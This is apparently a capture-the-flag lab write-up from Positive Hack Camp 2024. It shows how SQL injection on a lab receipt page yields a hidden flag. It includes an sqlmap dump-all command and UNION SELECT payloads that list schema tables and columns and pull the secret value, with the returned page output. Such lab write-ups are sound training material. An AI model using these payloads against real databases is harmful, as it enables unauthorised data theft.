

Writeup by: **Danilo Nascimento | 1nv1ct4**

<https://github.com/ndanilo8/PositiveHackCamp2024>

---

## Description:

Discover SQL-injection vulnerability and find flag in hidden table

---

## Attacking

### With SQLmap :

automated... HAHHHAHAHA

```
sqlmap -u web.rwuapge1f4ditpnw3bm2.labs.cyber-ed.space/receipt.php?orderId=1  
--dump-all
```

and we get the flag!

### Manual:

- get the tables

```
0 UNION SELECT 1,group_concat(table_name,'-'),3,4,5,6,7,8 FROM  
INFORMATION_SCHEMA.tables
```

PS its important that we match the same number of columns... otherwise we will get an error:

```
The used SELECT statements have a different number of columns in  
/var/www/html/receipt.php:
```

```
o?orderId=0 UNION SELECT 1,group_concat(table_name,'-'),3
```

Your order ID: 0 UNION  
SELECT  
1,group\_concat(table\_na  
me,'-'),3,4,5,6,7,8 FROM  
INFORMATION\_SCHEM  
A.tables

Product:

6

Price:

7

Name:

orders-,super\_secret\_table-,ADMINISTRABLE\_ROLE\_AUTH

E-mail:

3

Phone number:

4

Comments:

5

[Go to main page](#)

and we have the table `super_secret_column`  
now to select the table and list the columns

```
0 UNION SELECT 1,group_concat(column_name),3,4,5,6,7,8 FROM  
INFORMATION_SCHEMA.columns WHERE table_name='super_secret_table'
```

ce/receipt.php?orderID=0 UNION SELECT 1,group\_concat(column\_name),3,4,5,6,7,8 FROM

Post-Exploitation Tmux Cheat Sheet MITRE ATT&CK® GitHub

Our manager will contact you soon. To ask questions about your order, remember the order ID and contact our support team..

Details

Your order ID: 0 UNION  
SELECT  
1,group\_concat(column\_  
name),3,4,5,6,7,8 FROM  
INFORMATION\_SCHEM  
A.columns WHERE  
table\_name='super\_secr  
et\_table'

Product:  
6

Price:  
7

Name:  
id super\_secret\_column

E-mail:  
3

Phone number:  
4

Comments:  
5

now we list the column

```
0 UNION SELECT 1,super_secret_column,3,4,5,6,7,8 FROM super_secret_table
```

pace/receipt.php?orderID=0 UNION SELECT 1,super\_secret\_column,3,4,5,6,7,8 FROM super\_

# Receipt

Our manager will contact you soon. To ask questions about your order, remember the order ID and contact our support team..

Details

Your order ID: 0 UNION  
SELECT  
1,super\_secret\_column,3  
,4,5,6,7,8 FROM  
super\_secret\_table

Product:

6

Price:

7

Name:

flag{113b875148b29ed0ba7abdc77794f90b}

E-mail:

3

Phone number:

4

Comments:

5

Go to main page

## Notes from class

```
0 UNION SELECT 1,group_concat(table_name,'-'),3,4,5,6,7,8 FROM  
INFORMATION_SCHEMA.tables
```

```
0 UNION SELECT 1,group_concat(column_name),3,4,5,6,7,8 FROM  
INFORMATION_SCHEMA.columns WHERE table_name='super_secret_table'
```

```
0 UNION SELECT 1,super_secret_column,3,4,5,6,7,8 FROM super_secret_table
```

```
SELECT * FROM Numbers LIMIT 2,1
```

```
1,2,3,4,5
```

```
6,7,8,9,10
```

```
11,12,13,14,15
```